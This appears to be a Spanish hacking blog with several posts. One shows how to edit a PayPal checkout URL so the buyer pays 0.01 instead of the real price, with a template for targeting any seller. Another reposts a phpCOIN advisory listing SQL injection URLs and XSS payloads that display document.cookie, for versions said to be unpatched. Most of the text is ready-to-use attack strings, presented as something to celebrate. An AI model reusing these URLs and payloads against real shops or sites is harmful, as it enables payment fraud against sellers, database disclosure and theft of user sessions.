PayPal permite cambiar los precios

Este fallo sirve para TODOS los vendedores que usen paypal.

El fallo está confirmado por PayPal y tienen conciencia de este.

En el caso de edonkey, por ejemplo , la url original es asi:

https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=register@edonkey2000.com&item_name=eDonkey%20Pro&item_number=1&amount=19.95&no_shipping=1&return=http%3A%2F%2Fwww.overnet.com%2Fpaypal.php?cancel_return=http%3A%2F%2Fwww.edonkey2000.com&submit.x=70&submit.y=15

Nosotros , podemos cambiar los datos de la url de esta forma:

https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=[EMAIL-VENDEDOR&item_name=[NOMBRE-DEL-PRODUCTO&item_number=1&amount=0.01&no_shipping=1&return=[URL-QUE-VUELVE]%2Fpaypal.php?cancel_return=http%3A%2F%2F[SITIO-DEL-PRODUCTO]&submit.x=70&submit.y=15

Puedes cambiarle la cuenta de email , el precio , la url , lo que vale el producto...


Mi email : falcondeoro@gmail.com


Gracias Lostmon por lo que tu ya sabes ;)

Injeccion de comandos y XSS con phpcoin

phpCOIN es un software libre , utilizado para webs de hosting resellers , ...
bueno, directamente os lo copio de mi amigo lostmon , lo vereis más claramente:
############sql injection:############
dislose some sql data...
http://[target]phpcoin/mod.php?mod=siteinfo&id=1'ummm them ...
http://[target]phpcoin/mod.php?mod=faq&mode=show&faq_id=2%20or%201=1
http://[target]phpcoin/mod.php?mod=pages&mode=view&id=25%20or%201=1
http://[target]phpcoin/mod.php?mod=siteinfo&id=4%20or%201=1
http://[target]phpcoin/mod.php?mod=articles&mode=list&dtopic_id=1%20or%201=1
http://[target]phpcoin/mod.php?mod=orders&mode=view&ord_id=1002%20or%201=1
http://[target]phpcoin/mod.php?mod=domains&mode=view&dom_id=2%20or%201=1
http://[target]phpcoin/mod.php?mod=invoices&mode=view&invc_id=1002%20or%201=1

#################cross site scripting#################

http://[target]phpcoin/mod.php?mod=helpdesk&mode=new%22%3E%3Cscript%3Edocument.write(document.cookie)%3C/script%3E
http://[target]phpcoin/mod.php?mod=mail&mode=reset&w=user%22%3E%3Cscript%3Edocument.write(document.cookie)%3C/script%3E
http://[target]phpcoin/login.php?w=user&o=login&e=u%22%3E%3Cscript%3Edocument.write(document.cookie)%3C/script%3E
http://[target]phpcoin/login.php?w=admin&o=login%22%3E%3Cscript%3Edocument.write(document.cookie)%3C/script%3E

Other script are subceptibles to injection html or javascript code...
##################versions afected
##################1.2.01.2.1b1.2.1
##########Solution :
##########no solution was avaible at this time look for vendor information or for new release versions.
Creditos:
atentamente:Lostmon (lostmon@gmail.com)Thnx to estrella to be my ligthThnx to all who belibed in meWeb-Blog: http://lostmon.blogspot.com La curiosidad es lo que hace mover la mente....
-------------------------------------------------------------------

Opinión personal:

Muchas gracias Lostmon por darnos a conocer este valioso bug de phpCOIN , espero que sigas publicando muchos más de este tipo :D

Welcome!

Today i start these new blog, in these blog, i post my bugs.